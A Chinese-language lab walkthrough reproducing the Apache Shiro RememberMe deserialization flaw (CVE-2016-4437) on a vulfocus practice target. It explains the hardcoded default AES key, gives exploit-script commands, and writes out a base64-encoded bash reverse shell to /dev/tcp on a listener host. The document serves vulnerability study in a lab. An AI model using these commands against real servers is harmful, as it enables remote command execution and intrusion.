一、原理分析
Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问
Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码
由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行
影响版本:Apache Shiro <= 1.2.4
二、环境准备
1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境
2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)
3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。
三、漏洞复现
1、访问环境
2、用默认root账号密码登录,记得勾选上Remember Me
3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key
python3 shiro_exploit.py -u http://123.58.224.8:42716
最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==
又到了令人兴奋的利用环节了
先启动监听
再打开一个新的shell窗口,执行:
python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"
其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的
执行后过会儿就可以看到shell反弹过来了
四、参考链接
1、https://blog.youkuaiyun.com/weixin_42019588/article/details/113395928
2、https://www.freebuf.com/vuls/284529.html
3、https://zhuanlan.zhihu.com/p/389768500